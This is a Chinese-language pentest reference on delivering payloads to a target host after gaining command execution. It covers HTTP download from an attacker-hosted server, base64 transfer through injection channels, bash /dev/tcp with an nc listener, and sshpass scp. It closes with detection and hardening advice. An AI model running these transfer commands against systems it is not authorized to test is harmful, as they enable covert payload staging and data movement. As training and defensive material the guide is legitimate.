文件传输与载荷分发技巧
拿到执行能力但没有交互通道时,把工具送进去本身就是一道坎。传输方式按目标可用条件选择:有 wget/curl 走 HTTP,只有命令注入通道走 base64,连下载工具都没有就用 bash 内置的 /dev/tcp。标准流程是:静态编译、瘦身、托管、下载、校验、执行。
仅限授权环境
向目标主机分发并执行载荷仅用于授权测试;传输的二进制要留档,测试后清理。
HTTP 分发
攻击机托管:
python3 -m http.server 8000
目标下载:
wget http://<kali>:8000/file
curl -O http://<kali>:8000/file
exploit 静态编译后分发是标准流程:make && strip 去符号瘦身再托管,目标机器无需运行时依赖。
base64 命令通道
无 wget/curl,或只有命令注入通道时:
# 攻击机:输出 base64,复制
base64 -w0 file
# 目标:还原
echo '<b64>' | base64 -d > file
校验:两端 md5sum 比对一致才算传完。echo 不带 -n 的换行坑见 MD5 换行符哈希破解。
Webshell 通道传大文件时,用分块 base64 + MD5 校验的辅助客户端逐块推送,避免单次请求超限。
nc + /dev/tcp
目标没有任何下载工具时,用 bash 内置重定向:
# 攻击机
nc -lvnp 4444 > file
# 目标(bash 内置,sh 不一定支持)
cat file > /dev/tcp/<kali>/4444
scp + sshpass
已有 SSH 凭据时最省事:
sshpass -p '<pass>' scp file user@host:/tmp/
落点与架构
| 注意点 | 说明 |
|---|---|
/tmp 可能 nosuid | SUID 载荷放 /var/tmp 或家目录 |
| 架构匹配 | 传输前用 file、uname -m 确认目标架构 |
| 执行权限 | 下载后记得 chmod +x |
复核要点
- 传输完成后必做 MD5 比对,防止注入通道吞字符导致静默损坏。
- 目标执行报
cannot execute binary file时先查架构,而不是怀疑编译。 - 记录所有落盘文件与位置,测试结束统一清理。
防御建议
- 出口流量管控:服务器不应能主动访问任意外部地址的任意端口。
- 主机侧监控异常外连与
http.server、nc等工具进程。 - 对可执行文件落地建立告警(EDR / 文件审计)。
- 关键目录(/tmp、/var/tmp)挂载 noexec / nosuid。
- 收敛命令注入入口,从源头消灭无文件下载能力的传输通道。